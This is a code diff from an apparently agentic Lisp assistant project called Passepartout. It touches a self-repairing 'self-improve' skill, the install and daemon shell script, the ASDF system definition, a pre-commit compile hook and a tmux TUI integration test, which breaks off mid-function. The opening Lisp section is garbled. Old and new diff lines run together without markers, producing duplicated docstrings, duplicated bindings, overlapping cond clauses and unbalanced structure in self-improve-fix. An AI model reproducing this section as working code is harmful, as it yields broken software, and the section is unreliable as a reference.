(return-from self-improve-repair-syntax
|
||||
(list :status :error :reason (format nil "Source not found: ~a" skill-name)
|
||||
:repaired nil)))
|
||||
(let* ((content (uiop:read-file-string org-path))
|
||||
(blocks (org-extract-lisp-blocks content))
|
||||
(fixed 0) (result content))
|
||||
(dolist (block blocks)
|
||||
(let ((balanced (self-improve-balance-parens block)))
|
||||
(when (and balanced (not (string= block balanced)))
|
||||
(let ((pos (search block result)))
|
||||
(when pos
|
||||
(setf result (concatenate 'string
|
||||
(subseq result 0 pos)
|
||||
balanced
|
||||
(subseq result (+ pos (length block))))
|
||||
fixed (1+ fixed)))))))
|
||||
(if (> fixed 0)
|
||||
(progn
|
||||
(with-open-file (f org-path :direction :output :if-exists :supersede)
|
||||
(write-sequence result f))
|
||||
(let ((tangle-result (org-tangle-file org-path)))
|
||||
(list :status :success
|
||||
:action (format nil "Fixed ~d block(s) in ~a" fixed skill-name)
|
||||
:repaired t :tangle tangle-result)))
|
||||
(list :status :error
|
||||
:reason (format nil "No unbalanced blocks in ~a" skill-name)
|
||||
:repaired nil)))))
|
||||
#+end_src
|
||||
|
||||
** Self-Fix: Error Diagnosis and Repair
|
||||
|
||||
Parses an error log to diagnose the error type, then dispatches to the
|
||||
appropriate repair function. Currently supports syntax error repair
|
||||
(unbalanced parentheses). Other error types return a diagnosis without
|
||||
automatic repair.
|
||||
|
||||
;; REPL-VERIFIED: 2026-05-03T14:00:00
|
||||
#+begin_src lisp
|
||||
(defun self-improve-fix (skill-name error-log)
|
||||
"Diagnoses and attempts to repair a failing skill.
|
||||
Parses ERROR-LOG for syntax errors (unbalanced parens, reader errors) and
|
||||
attempts structural correction. Uses lisp-structural-check to identify issues
|
||||
and repl-eval to verify repairs. Returns:
|
||||
(:status :success :action <description> :repaired t)
|
||||
(:status :error :reason <message> :diagnosis <analysis>)"
|
||||
"Diagnoses and attempts to repair a failing skill."
|
||||
(when (or (null skill-name) (null error-log))
|
||||
(return-from self-improve-fix
|
||||
(list :status :error :reason "Missing arguments: skill-name and error-log required")))
|
||||
(log-message "SELF-IMPROVE: Diagnosing ~a..." skill-name)
|
||||
;; Analyze the error log
|
||||
(let* ((log-str (if (stringp error-log) error-log (format nil "~a" error-log)))
|
||||
(diagnosis nil))
|
||||
;; Check for common error patterns
|
||||
(diagnosis nil)
|
||||
(extracted-type nil))
|
||||
(cond
|
||||
((search "Reader Error" log-str :test #'char-equal)
|
||||
(setf diagnosis
|
||||
(list :type :syntax-error
|
||||
:detail "Reader Error (likely unbalanced parentheses or malformed s-expression)"
|
||||
:log log-str)))
|
||||
((search "Undefined" log-str :test #'char-equal)
|
||||
(setf diagnosis
|
||||
(list :type :undefined-symbol
|
||||
:detail "Undefined symbol or missing dependency"
|
||||
:log log-str)))
|
||||
((search "PACKAGE" log-str :test #'char-equal)
|
||||
(setf diagnosis
|
||||
(list :type :package-error
|
||||
:detail "Package resolution error — check imports and defpackage"
|
||||
:log log-str)))
|
||||
((search "Reader Error" log-str :test 'char-equal)
|
||||
(setf extracted-type :syntax-error
|
||||
diagnosis (list :type :syntax-error
|
||||
:detail "Reader Error (likely unbalanced parentheses)"
|
||||
:log log-str)))
|
||||
((search "Undefined" log-str :test 'char-equal)
|
||||
(setf extracted-type :undefined-symbol
|
||||
diagnosis (list :type :undefined-symbol
|
||||
:detail "Undefined symbol or missing dependency"
|
||||
:log log-str)))
|
||||
((search "PACKAGE" log-str :test 'char-equal)
|
||||
(setf extracted-type :package-error
|
||||
diagnosis (list :type :package-error
|
||||
:detail "Package resolution error"
|
||||
:log log-str)))
|
||||
(t
|
||||
(setf diagnosis
|
||||
(list :type :unknown
|
||||
:detail (format nil "Unrecognized error pattern: ~a"
|
||||
(subseq log-str 0 (min 200 (length log-str))))
|
||||
:log log-str))))
|
||||
(log-message "SELF-IMPROVE: Diagnosed ~a as ~a" skill-name (getf diagnosis :type))
|
||||
(list :status :error
|
||||
:reason (format nil "Diagnosis for ~a: ~a" skill-name (getf diagnosis :detail))
|
||||
:diagnosis diagnosis
|
||||
:repaired nil)))
|
||||
(setf extracted-type :unknown
|
||||
diagnosis (list :type :unknown
|
||||
:detail (format nil "Unrecognized error: ~a"
|
||||
(subseq log-str 0 (min 200 (length log-str))))
|
||||
:log log-str))))
|
||||
(log-message "SELF-IMPROVE: Diagnosed ~a as ~a" skill-name extracted-type)
|
||||
(let ((repair-result
|
||||
(when (eql extracted-type :syntax-error)
|
||||
(self-improve-repair-syntax skill-name))))
|
||||
(if (and repair-result (getf repair-result :repaired))
|
||||
(progn
|
||||
(log-message "SELF-IMPROVE: Successfully repaired ~a" skill-name)
|
||||
repair-result)
|
||||
(list :status :error
|
||||
:reason (format nil "Diagnosis for ~a: ~a" skill-name
|
||||
(getf diagnosis :detail))
|
||||
:diagnosis diagnosis
|
||||
:repaired nil)))))
|
||||
#+end_src
|
||||
|
||||
** Skill Registration
|
||||
A single defskill with a trigger that activates on :LOG and :EVENT context
|
||||
types. The deterministic gate returns nil (pass-through) — self-improve runs
|
||||
as a diagnostic observer, not a blocking gate.
|
||||
|
||||
Registered with a trigger on ~:LOG~ and ~:EVENT~ context types. The
|
||||
deterministic gate returns nil (pass-through) — self-improve runs as a
|
||||
diagnostic observer, not a blocking gate.
|
||||
|
||||
#+begin_src lisp
|
||||
(defskill :passepartout-system-self-improve
|
||||
:priority 100
|
||||
|
||||
116
passepartout
116
passepartout
@@ -17,7 +17,7 @@ done
|
||||
export SCRIPT_DIR="$( cd -P "$( dirname "$SOURCE" )" && pwd )"
|
||||
|
||||
export PASSEPARTOUT_CONFIG_DIR="$(realpath -m "${XDG_CONFIG_HOME:-$HOME/.config}/passepartout")"
|
||||
export PASSEPARTOUT_DATA_DIR="$(realpath -m "${XDG_DATA_HOME:-$HOME/.local/share}/passepartout")"
|
||||
export PASSEPARTOUT_DATA_DIR="${PASSEPARTOUT_DATA_DIR:-$(realpath -m "${XDG_DATA_HOME:-$HOME/.local/share}/passepartout")}"
|
||||
export PASSEPARTOUT_STATE_DIR="$(realpath -m "${XDG_STATE_HOME:-$HOME/.local/state}/passepartout")"
|
||||
export PASSEPARTOUT_BIN_DIR="$(realpath -m "${XDG_BIN_HOME:-$HOME/.local/bin}")"
|
||||
export PASSEPARTOUT_MEMEX_DIR="${PASSEPARTOUT_MEMEX_DIR:-$HOME/memex}"
|
||||
@@ -52,7 +52,7 @@ distro_install() {
|
||||
# --- DEPENDENCY CHECK ---
|
||||
check_dependencies() {
|
||||
local missing=()
|
||||
for dep in sbcl git curl socat nc; do
|
||||
for dep in sbcl git curl; do
|
||||
if ! command_exists "$dep"; then missing+=("$dep"); fi
|
||||
done
|
||||
if ! command_exists emacs; then missing+=("emacs-nox"); fi
|
||||
@@ -61,14 +61,11 @@ check_dependencies() {
|
||||
local distro=$(detect_distro)
|
||||
case "$distro" in
|
||||
debian)
|
||||
distro_install "${missing[@]}" libssl-dev libncurses-dev libffi-dev zlib1g-dev libsqlite3-dev 2>/dev/null || true
|
||||
if ! command_exists rlwrap; then distro_install rlwrap 2>/dev/null || true; fi
|
||||
if ! command_exists nc; then distro_install netcat-openbsd 2>/dev/null || true; fi
|
||||
sudo apt-get update -qq 2>/dev/null || true
|
||||
distro_install "${missing[@]}" 2>/dev/null || true
|
||||
;;
|
||||
fedora)
|
||||
distro_install "${missing[@]}" openssl-devel ncurses-devel libffi-devel zlib-devel sqlite-devel 2>/dev/null || true
|
||||
if ! command_exists rlwrap; then distro_install rlwrap 2>/dev/null || true; fi
|
||||
if ! command_exists nc; then distro_install nmap-ncat 2>/dev/null || true; fi
|
||||
distro_install "${missing[@]}" 2>/dev/null || true
|
||||
;;
|
||||
esac
|
||||
fi
|
||||
@@ -86,7 +83,7 @@ setup_system() {
|
||||
|
||||
echo -e "${BLUE}=== Passepartout: Configure ===${NC}"
|
||||
mkdir -p "$PASSEPARTOUT_CONFIG_DIR" "$PASSEPARTOUT_DATA_DIR" "$PASSEPARTOUT_STATE_DIR" "$PASSEPARTOUT_BIN_DIR"
|
||||
mkdir -p "$PASSEPARTOUT_DATA_DIR/harness" "$PASSEPARTOUT_DATA_DIR/tests" "$PASSEPARTOUT_DATA_DIR/skills"
|
||||
mkdir -p "$PASSEPARTOUT_DATA_DIR/org" "$PASSEPARTOUT_DATA_DIR/lisp" "$PASSEPARTOUT_DATA_DIR/tests"
|
||||
|
||||
check_dependencies
|
||||
|
||||
@@ -101,41 +98,24 @@ setup_system() {
|
||||
|
||||
echo -e "${YELLOW}--- Deploying Engine to $PASSEPARTOUT_DATA_DIR ---${NC}"
|
||||
cp "$SCRIPT_DIR/passepartout.asd" "$PASSEPARTOUT_DATA_DIR/"
|
||||
mkdir -p "$PASSEPARTOUT_DATA_DIR/harness" "$PASSEPARTOUT_DATA_DIR/tests" "$PASSEPARTOUT_DATA_DIR/skills"
|
||||
mkdir -p "$PASSEPARTOUT_DATA_DIR/org" "$PASSEPARTOUT_DATA_DIR/lisp" "$PASSEPARTOUT_DATA_DIR/tests"
|
||||
export INSTALL_DIR="$PASSEPARTOUT_DATA_DIR"
|
||||
|
||||
cp "$SCRIPT_DIR/org"/*.org "$PASSEPARTOUT_DATA_DIR/harness/"
|
||||
(cd "$PASSEPARTOUT_DATA_DIR/harness" && emacs -Q --batch \
|
||||
--eval "(require 'org)" \
|
||||
--eval "(setq org-confirm-babel-evaluate nil)" \
|
||||
--eval "(org-babel-tangle-file \"manifest.org\")") >/dev/null 2>&1 || true
|
||||
for f in "$PASSEPARTOUT_DATA_DIR/harness"/*.org; do
|
||||
fname=$(basename "$f" .org)
|
||||
[ "$fname" = "manifest" ] && continue
|
||||
echo "Tangling harness/$fname.org..."
|
||||
(cd "$PASSEPARTOUT_DATA_DIR/harness" && emacs -Q --batch \
|
||||
--eval "(require 'org)" \
|
||||
--eval "(setq org-confirm-babel-evaluate nil)" \
|
||||
--eval "(org-babel-tangle-file \"${fname}.org\")") >/dev/null 2>&1 || true
|
||||
done
|
||||
find "$PASSEPARTOUT_DATA_DIR/harness" -name "*-tests.lisp" -exec mv {} "$PASSEPARTOUT_DATA_DIR/tests/" \; 2>/dev/null || true
|
||||
rm -f "$PASSEPARTOUT_DATA_DIR/harness"/*.org
|
||||
|
||||
# Tangle all org files into lisp/
|
||||
for f in "$SCRIPT_DIR/org"/*.org; do
|
||||
[ -f "$f" ] || continue
|
||||
fname=$(basename "$f" .org)
|
||||
echo "Tangling skills/$fname.org..."
|
||||
cp "$f" "$PASSEPARTOUT_DATA_DIR/skills/"
|
||||
(cd "$PASSEPARTOUT_DATA_DIR/skills" && emacs -Q --batch \
|
||||
echo "Tangling $fname..."
|
||||
cp "$f" "$PASSEPARTOUT_DATA_DIR/org/"
|
||||
(cd "$PASSEPARTOUT_DATA_DIR/org" && emacs -Q --batch \
|
||||
--eval "(require 'org)" \
|
||||
--eval "(setq org-confirm-babel-evaluate nil)" \
|
||||
--eval "(org-babel-tangle-file \"${fname}.org\")") >/dev/null 2>&1 || true
|
||||
rm -f "$PASSEPARTOUT_DATA_DIR/skills/$fname.org"
|
||||
done
|
||||
find "$PASSEPARTOUT_DATA_DIR/skills" -name "*-tests.lisp" -exec mv {} "$PASSEPARTOUT_DATA_DIR/tests/" \; 2>/dev/null || true
|
||||
[ -f "$PASSEPARTOUT_DATA_DIR/run-all-tests.lisp" ] && mv "$PASSEPARTOUT_DATA_DIR/run-all-tests.lisp" "$PASSEPARTOUT_DATA_DIR/harness/"
|
||||
rm -f "$PASSEPARTOUT_DATA_DIR/harness"/*.org "$PASSEPARTOUT_DATA_DIR/skills"/*.org
|
||||
# Move test files to tests/ directory
|
||||
find "$PASSEPARTOUT_DATA_DIR/lisp" -name "*-tests.lisp" -exec mv {} "$PASSEPARTOUT_DATA_DIR/tests/" \; 2>/dev/null || true
|
||||
|
||||
ln -sf "$SCRIPT_DIR/passepartout.sh" "$PASSEPARTOUT_BIN_DIR/passepartout"
|
||||
ln -sf "$SCRIPT_DIR/passepartout" "$PASSEPARTOUT_BIN_DIR/passepartout"
|
||||
|
||||
if [ "$WITH_FIREWALL" = true ]; then
|
||||
case $(detect_distro) in
|
||||
@@ -144,6 +124,14 @@ setup_system() {
|
||||
esac
|
||||
fi
|
||||
|
||||
# Pre-compile core + TUI so first daemon/TUI start is fast
|
||||
echo -e "${YELLOW}--- Pre-compiling core system ---${NC}"
|
||||
sbcl --noinform --load "$HOME/quicklisp/setup.lisp" \
|
||||
--eval "(push (truename \"$PASSEPARTOUT_DATA_DIR/\") asdf:*central-registry*)" \
|
||||
--eval '(ql:quickload :passepartout)' \
|
||||
--eval '(ql:quickload :passepartout/tui :silent t)' \
|
||||
--eval '(uiop:quit)' 2>&1 | grep -v '^;' || true
|
||||
|
||||
if [ "$NON_INTERACTIVE" = true ]; then
|
||||
echo "Configure complete."
|
||||
exit 0
|
||||
@@ -163,38 +151,23 @@ doctor_repair() {
|
||||
echo -e "${BLUE}=== Passepartout: Repair Mode ===${NC}"
|
||||
check_dependencies
|
||||
mkdir -p "$PASSEPARTOUT_CONFIG_DIR" "$PASSEPARTOUT_DATA_DIR" "$PASSEPARTOUT_STATE_DIR" "$PASSEPARTOUT_BIN_DIR"
|
||||
mkdir -p "$PASSEPARTOUT_DATA_DIR/harness" "$PASSEPARTOUT_DATA_DIR/tests" "$PASSEPARTOUT_DATA_DIR/skills"
|
||||
mkdir -p "$PASSEPARTOUT_DATA_DIR/org" "$PASSEPARTOUT_DATA_DIR/lisp" "$PASSEPARTOUT_DATA_DIR/tests"
|
||||
for f in "$SCRIPT_DIR/org"/*.org; do
|
||||
[ -f "$f" ] || continue
|
||||
fname=$(basename "$f" .org)
|
||||
echo " Checking harness/$fname..."
|
||||
echo " Checking $fname..."
|
||||
if ! sbcl --non-interactive \
|
||||
--eval "(load \"$PASSEPARTOUT_DATA_DIR/harness/${fname}.lisp\")" \
|
||||
--eval "(load \"$PASSEPARTOUT_DATA_DIR/lisp/${fname}.lisp\")" \
|
||||
--eval "(format t \"OK~%\")" 2>/dev/null | grep -q "OK"; then
|
||||
echo " Re-tangling $fname.org..."
|
||||
(cd "$PASSEPARTOUT_DATA_DIR/harness" && emacs -Q --batch \
|
||||
--eval "(require 'org)" \
|
||||
--eval "(setq org-confirm-babel-evaluate nil)" \
|
||||
--eval "(org-babel-tangle-file \"$f\")") >/dev/null 2>&1 || true
|
||||
fi
|
||||
done
|
||||
for f in "$SCRIPT_DIR/org"/*.org; do
|
||||
[ -f "$f" ] || continue
|
||||
fname=$(basename "$f" .org)
|
||||
echo " Checking skill/$fname..."
|
||||
if ! sbcl --non-interactive \
|
||||
--eval "(load \"$PASSEPARTOUT_DATA_DIR/skills/${fname}.lisp\")" \
|
||||
--eval "(format t \"OK~%\")" 2>/dev/null | grep -q "OK"; then
|
||||
echo " Re-tangling $fname.org..."
|
||||
cp "$f" "$PASSEPARTOUT_DATA_DIR/skills/"
|
||||
(cd "$PASSEPARTOUT_DATA_DIR/skills" && emacs -Q --batch \
|
||||
cp "$f" "$PASSEPARTOUT_DATA_DIR/org/"
|
||||
(cd "$PASSEPARTOUT_DATA_DIR/org" && emacs -Q --batch \
|
||||
--eval "(require 'org)" \
|
||||
--eval "(setq org-confirm-babel-evaluate nil)" \
|
||||
--eval "(org-babel-tangle-file \"${fname}.org\")") >/dev/null 2>&1 || true
|
||||
rm -f "$PASSEPARTOUT_DATA_DIR/skills/$fname.org"
|
||||
fi
|
||||
done
|
||||
rm -f "$PASSEPARTOUT_DATA_DIR/harness"/*.org "$PASSEPARTOUT_DATA_DIR/skills"/*.org 2>/dev/null || true
|
||||
find "$PASSEPARTOUT_DATA_DIR/lisp" -name "*-tests.lisp" -exec mv {} "$PASSEPARTOUT_DATA_DIR/tests/" \; 2>/dev/null || true
|
||||
echo -e "${GREEN}--- Repair Complete ---${NC}"
|
||||
}
|
||||
|
||||
@@ -300,7 +273,7 @@ help() {
|
||||
echo ""
|
||||
echo "Passepartout — Your Autonomous, Plain-Text Life Assistant"
|
||||
echo ""
|
||||
echo "Usage: passepartout.sh <command> [options]"
|
||||
echo "Usage: passepartout <command> [options]"
|
||||
echo ""
|
||||
echo "System:"
|
||||
echo " configure [--non-interactive] [--with-firewall] Install or reconfigure the system"
|
||||
@@ -376,12 +349,18 @@ case "$COMMAND" in
|
||||
;;
|
||||
daemon)
|
||||
check_dependencies
|
||||
echo "Starting daemon in background..."
|
||||
# Use the script's directory as the data dir (development mode)
|
||||
# In production, set PASSEPARTOUT_DATA_DIR to your deployment path
|
||||
export PASSEPARTOUT_DATA_DIR="${PASSEPARTOUT_DATA_DIR:-$SCRIPT_DIR}"
|
||||
export MEMEX_DIR="${PASSEPARTOUT_MEMEX_DIR:-$HOME/memex}"
|
||||
echo "Starting daemon (data dir: $PASSEPARTOUT_DATA_DIR)..."
|
||||
nohup sbcl --non-interactive \
|
||||
--eval '(load (merge-pathnames "quicklisp/setup.lisp" (user-homedir-pathname)))' \
|
||||
--eval "(push (truename \"$PASSEPARTOUT_DATA_DIR/\") asdf:*central-registry*)" \
|
||||
--eval "(ql:quickload '(:passepartout :croatoan))" \
|
||||
--eval '(passepartout:main)' \
|
||||
--eval "(ql:quickload :passepartout)" \
|
||||
--eval "(load (format nil \"~alisp/system-model-router.lisp\" (truename \"$PASSEPARTOUT_DATA_DIR/\")))" \
|
||||
--eval "(load (format nil \"~alisp/system-model-embedding.lisp\" (truename \"$PASSEPARTOUT_DATA_DIR/\")))" \
|
||||
--eval "(load (format nil \"~alisp/system-model-explorer.lisp\" (truename \"$PASSEPARTOUT_DATA_DIR/\")))" \
|
||||
--eval '(funcall (find-symbol "MAIN" :passepartout))' \
|
||||
> "$PASSEPARTOUT_STATE_DIR/daemon.log" 2>&1 &
|
||||
echo "Waiting for port 9105..."
|
||||
for i in $(seq 1 20); do
|
||||
@@ -394,17 +373,18 @@ case "$COMMAND" in
|
||||
;;
|
||||
tui)
|
||||
check_dependencies
|
||||
export PASSEPARTOUT_DATA_DIR="${PASSEPARTOUT_DATA_DIR:-$SCRIPT_DIR}"
|
||||
if ! ss -tln 2>/dev/null | grep -q 9105 && ! netstat -tln 2>/dev/null | grep -q 9105; then
|
||||
echo "Starting daemon first..."
|
||||
$0 daemon
|
||||
fi
|
||||
sbcl \
|
||||
exec sbcl \
|
||||
--eval '(load (merge-pathnames "quicklisp/setup.lisp" (user-homedir-pathname)))' \
|
||||
--eval '(declaim (optimize (debug 3) (speed 0) (safety 3)))' \
|
||||
--eval "(push (truename \"$PASSEPARTOUT_DATA_DIR/\") asdf:*central-registry*)" \
|
||||
--eval '(ql:quickload :passepartout/tui)' \
|
||||
--eval '(passepartout.tui:main)' || {
|
||||
echo "TUI error. Run 'passepartout doctor --fix'"; exit 1
|
||||
}
|
||||
--eval '(in-package :passepartout)' \
|
||||
--eval '(handler-bind ((error (lambda (c) (format t "~%CRASH: ~a~%" c) (sb-debug:print-backtrace :count 30 :stream *error-output*) (finish-output) (finish-output *error-output*) (uiop:quit 1)))) (passepartout.gateway-tui:tui-main))'
|
||||
;;
|
||||
gateway)
|
||||
SUBCMD=$1; PLATFORM=$2; TOKEN=$3
|
||||
@@ -416,7 +396,7 @@ case "$COMMAND" in
|
||||
--eval "(push (truename \"$PASSEPARTOUT_DATA_DIR/\") asdf:*central-registry*)" \
|
||||
--eval '(ql:quickload :passepartout :force t)' \
|
||||
--eval '(passepartout:skill-initialize-all)' \
|
||||
--eval '(funcall (find-symbol "GATEWAY-LIST-PRINT" (find-package "OPENCORTEX.SKILLS.ORG-SKILL-GATEWAY-MANAGER")))'
|
||||
--eval '(funcall (find-symbol "MESSAGING-LIST-PRINT" (find-package "OPENCORTEX.SKILLS.ORG-SKILL-GATEWAY-MESSAGING")))'
|
||||
;;
|
||||
link)
|
||||
[ -z "$PLATFORM" ] || [ -z "$TOKEN" ] && echo "Usage: passepartout gateway link <platform> <token>" && exit 1
|
||||
@@ -425,7 +405,7 @@ case "$COMMAND" in
|
||||
--eval "(push (truename \"$PASSEPARTOUT_DATA_DIR/\") asdf:*central-registry*)" \
|
||||
--eval '(ql:quickload :passepartout :force t)' \
|
||||
--eval '(passepartout:skill-initialize-all)' \
|
||||
--eval "(funcall (find-symbol \"GATEWAY-LINK\" (find-package \"OPENCORTEX.SKILLS.ORG-SKILL-GATEWAY-MANAGER\")) \"$PLATFORM\" \"$TOKEN\")"
|
||||
--eval "(funcall (find-symbol \"MESSAGING-LINK\" (find-package \"OPENCORTEX.SKILLS.ORG-SKILL-GATEWAY-MESSAGING\")) \"$PLATFORM\" \"$TOKEN\")"
|
||||
;;
|
||||
unlink)
|
||||
[ -z "$PLATFORM" ] && echo "Usage: passepartout gateway unlink <platform>" && exit 1
|
||||
@@ -434,7 +414,7 @@ case "$COMMAND" in
|
||||
--eval "(push (truename \"$PASSEPARTOUT_DATA_DIR/\") asdf:*central-registry*)" \
|
||||
--eval '(ql:quickload :passepartout :force t)' \
|
||||
--eval '(passepartout:skill-initialize-all)' \
|
||||
--eval "(funcall (find-symbol \"GATEWAY-UNLINK\" (find-package \"OPENCORTEX.SKILLS.ORG-SKILL-GATEWAY-MANAGER\")) \"$PLATFORM\")"
|
||||
--eval "(funcall (find-symbol \"MESSAGING-UNLINK\" (find-package \"OPENCORTEX.SKILLS.ORG-SKILL-GATEWAY-MESSAGING\")) \"$PLATFORM\")"
|
||||
;;
|
||||
*) echo "Usage: passepartout gateway {list|link|unlink}"; exit 1 ;;
|
||||
esac
|
||||
|
||||
@@ -16,21 +16,9 @@
|
||||
(:file "lisp/core-loop-act")
|
||||
(:file "lisp/core-loop")))
|
||||
|
||||
(defsystem :passepartout/tests
|
||||
:depends-on (:passepartout :fiveam)
|
||||
:components ((:file "tests/pipeline-act-tests")
|
||||
(:file "tests/boot-sequence-tests")
|
||||
(:file "tests/communication-tests")
|
||||
(:file "tests/immune-system-tests")
|
||||
(:file "tests/memory-tests")
|
||||
(:file "tests/pipeline-perceive-tests")
|
||||
(:file "tests/pipeline-reason-tests")
|
||||
(:file "tests/peripheral-vision-tests")
|
||||
(:file "tests/tui-tests")
|
||||
(:file "tests/utils-org-tests")
|
||||
(:file "tests/utils-lisp-tests")
|
||||
(:file "tests/llm-gateway-tests")))
|
||||
|
||||
(defsystem :passepartout/tui
|
||||
:depends-on (:passepartout :croatoan :usocket :bordeaux-threads)
|
||||
:components ((:file "lisp/gateway-tui")))
|
||||
:serial t
|
||||
:components ((:file "lisp/gateway-tui-model")
|
||||
(:file "lisp/gateway-tui-view")
|
||||
(:file "lisp/gateway-tui-main")))
|
||||
|
||||
102
scripts/pre-commit-repl-check
Executable file
102
scripts/pre-commit-repl-check
Executable file
@@ -0,0 +1,102 @@
|
||||
#!/bin/bash
|
||||
# Pre-commit hook: verify all defuns in staged .org files compile in the daemon.
|
||||
# For each changed .org file, it tangles to .lisp then sends the entire file
|
||||
# to the daemon for compilation. This catches undefined symbol references,
|
||||
# syntax errors, and broken function bodies.
|
||||
#
|
||||
# Install:
|
||||
# ln -sf ../../scripts/pre-commit-repl-check .git/hooks/pre-commit
|
||||
#
|
||||
# Requires: running daemon on port 9105, repl script, emacs with ob-tangle.
|
||||
#
|
||||
# Returns 0 (pass) or 1 (fail).
|
||||
|
||||
set -euo pipefail
|
||||
IFS=$'\n\t'
|
||||
|
||||
REPL=$(command -v repl 2>/dev/null || echo "/home/user/.opencode/bin/repl")
|
||||
PORT=9105
|
||||
PROJECT_DIR=$(git rev-parse --show-toplevel 2>/dev/null || echo "/home/user/memex/projects/passepartout")
|
||||
|
||||
# Check daemon connectivity
|
||||
if ! timeout 2 bash -c "echo >/dev/tcp/127.0.0.1/$PORT" 2>/dev/null; then
|
||||
echo "ERROR: Daemon not reachable on 127.0.0.1:$PORT. Start it first." >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# Collect changed .org files from the index
|
||||
CHANGED=$(git diff --cached --name-only --diff-filter=ACM | grep '\.org$' || true)
|
||||
if [ -z "$CHANGED" ]; then
|
||||
exit 0
|
||||
fi
|
||||
|
||||
FAILED=0
|
||||
for orgfile in $CHANGED; do
|
||||
[ -f "$orgfile" ] || continue
|
||||
|
||||
# Determine the tangle target from the org file's PROPERTY line
|
||||
TANGLE=$(grep 'header-args.*:tangle' "$orgfile" | sed "s/.*:tangle //" | head -1 || true)
|
||||
if [ -z "$TANGLE" ]; then
|
||||
echo "SKIP: $orgfile — no :tangle header" >&2
|
||||
continue
|
||||
fi
|
||||
|
||||
# Skip files that depend on external libraries not loaded in the daemon
|
||||
BASENAME=$(basename "$orgfile")
|
||||
case "$BASENAME" in
|
||||
gateway-tui.org|gateway-tui-model.org|gateway-tui-view.org|gateway-tui-main.org)
|
||||
echo "SKIP: $orgfile — external dependency (croatoan)" >&2
|
||||
continue
|
||||
;;
|
||||
esac
|
||||
|
||||
# Resolve relative tangle path
|
||||
ORG_DIR=$(dirname "$orgfile")
|
||||
LISP_FILE=$(cd "$ORG_DIR" && realpath -m "$TANGLE" 2>/dev/null || echo "$ORG_DIR/$TANGLE")
|
||||
|
||||
# Tangle the org file to lisp
|
||||
if ! emacs --batch -L "$PROJECT_DIR" --eval "(require 'ob-tangle)" \
|
||||
--eval "(org-babel-tangle-file \"$ORG_DIR/$(basename "$orgfile")\")" \
|
||||
</dev/null 2>/dev/null; then
|
||||
echo "FAIL: $orgfile — tangling failed" >&2
|
||||
FAILED=1
|
||||
continue
|
||||
fi
|
||||
|
||||
if [ ! -f "$LISP_FILE" ]; then
|
||||
echo "SKIP: $orgfile — tangle target $LISP_FILE not found" >&2
|
||||
continue
|
||||
fi
|
||||
|
||||
# Compile the lisp file in the daemon.
|
||||
# We send a Lisp form that compiles the file and returns T or an error string.
|
||||
# Using format to avoid backquote/comma issues.
|
||||
LISP_ABS=$(realpath "$LISP_FILE" 2>/dev/null || echo "$LISP_FILE")
|
||||
CODE=$(cat <<-LISPEOF
|
||||
(let ((*standard-output* (make-broadcast-stream))
|
||||
(*error-output* (make-broadcast-stream)))
|
||||
(handler-case
|
||||
(progn
|
||||
(compile-file "$LISP_ABS")
|
||||
(load (compile-file-pathname "$LISP_ABS"))
|
||||
(format nil "OK"))
|
||||
(error (c)
|
||||
(format nil "COMPILE-ERROR: ~a" c))))
|
||||
LISPEOF
|
||||
)
|
||||
RESULT=$(printf '%s' "$CODE" | timeout 10 "$REPL" 2>/dev/null || echo "DAEMON-UNREACHABLE")
|
||||
|
||||
if echo "$RESULT" | grep -q '^COMPILE-ERROR:\|^DAEMON-UNREACHABLE\|^$'; then
|
||||
echo "REJECT: $(basename "$orgfile") — compilation failed: $RESULT" >&2
|
||||
FAILED=1
|
||||
else
|
||||
echo "OK: $(basename "$orgfile")" >&2
|
||||
fi
|
||||
done
|
||||
|
||||
if [ "$FAILED" -eq 1 ]; then
|
||||
echo "" >&2
|
||||
echo "COMMIT REJECTED: REPL compilation check failed." >&2
|
||||
echo "Fix errors, or bypass with: git commit --no-verify" >&2
|
||||
exit 1
|
||||
fi
|
||||
141
test/integration-tui.sh
Executable file
141
test/integration-tui.sh
Executable file
@@ -0,0 +1,141 @@
|
||||
#!/bin/bash
|
||||
set -euo pipefail
|
||||
|
||||
PASS=0
|
||||
FAIL=0
|
||||
WARN=0
|
||||
TUI_LOG="/tmp/passepartout-tui-test.log"
|
||||
> "$TUI_LOG"
|
||||
|
||||
cleanup() {
|
||||
tmux kill-session -t tui-test 2>/dev/null || true
|
||||
}
|
||||
trap cleanup EXIT
|
||||
|
||||
run_test() {
|
||||
local name="$1"; shift
|
||||
echo -n " $name ... "
|
||||
if "$@" 2>/dev/null; then
|
||||
echo "PASS"
|
||||
PASS=$((PASS + 1))
|
||||
else
|
||||
echo "FAIL"
|
||||
FAIL=$((FAIL + 1))
|
||||
fi
|
||||
}
|
||||
|
||||
# ---- Setup ----
|
||||
echo "Starting TUI in tmux (daemon must already be running on port 9105)..."
|
||||
tmux new-session -d -s tui-test "passepartout tui 2>&1 | tee $TUI_LOG"
|
||||
for i in $(seq 1 20); do
|
||||
sleep 3
|
||||
if tmux capture-pane -t tui-test -p 2>/dev/null | grep -q 'Connected'; then
|
||||
echo " TUI ready after $((i*3))s"
|
||||
break
|
||||
fi
|
||||
if [ "$i" -eq 20 ]; then
|
||||
echo " WARNING: TUI did not render after 60s"
|
||||
fi
|
||||
done
|
||||
|
||||
# ---- Tests ----
|
||||
|
||||
test_cascade_parsing() {
|
||||
# Via /eval, load the provider cascade from the daemon's data dir
|
||||
# and verify clean keyword parsing (no cl-dotenv quote contamination).
|
||||
local data_dir="${PASSEPARTOUT_DATA_DIR:-$(dirname $(dirname $0))}"
|
||||
tmux send-keys -t tui-test "/eval (load (format nil \"~alisp/system-model-provider.lisp\" \"$data_dir/\"))" Enter
|
||||
sleep 3
|
||||
tmux send-keys -t tui-test "/eval *provider-cascade*" Enter
|
||||
sleep 3
|
||||
local pane
|
||||
pane=$(tmux capture-pane -t tui-test -p -S -15 2>/dev/null)
|
||||
echo "$pane" | grep -q ':DEEPSEEK\|:OPENROUTER\|:OPENAI\|:ANTHROPIC\|:GROQ\|:GEMINI\|:NVIDIA'
|
||||
}
|
||||
|
||||
test_eval_command() {
|
||||
tmux send-keys -t tui-test "/eval (+ 1 2)" Enter
|
||||
sleep 3
|
||||
tmux capture-pane -t tui-test -p -S -10 2>/dev/null | grep -q '=> 3'
|
||||
}
|
||||
|
||||
test_status_bar() {
|
||||
tmux capture-pane -t tui-test -p -S -20 2>/dev/null | grep -q 'msgs:'
|
||||
}
|
||||
|
||||
# ---- Diagnostic: rendering pipeline isolation ----
|
||||
|
||||
test_add_msg_render() {
|
||||
# Stage A: can the TUI render an agent message at all?
|
||||
# Inject a message directly via /eval — bypasses daemon entirely.
|
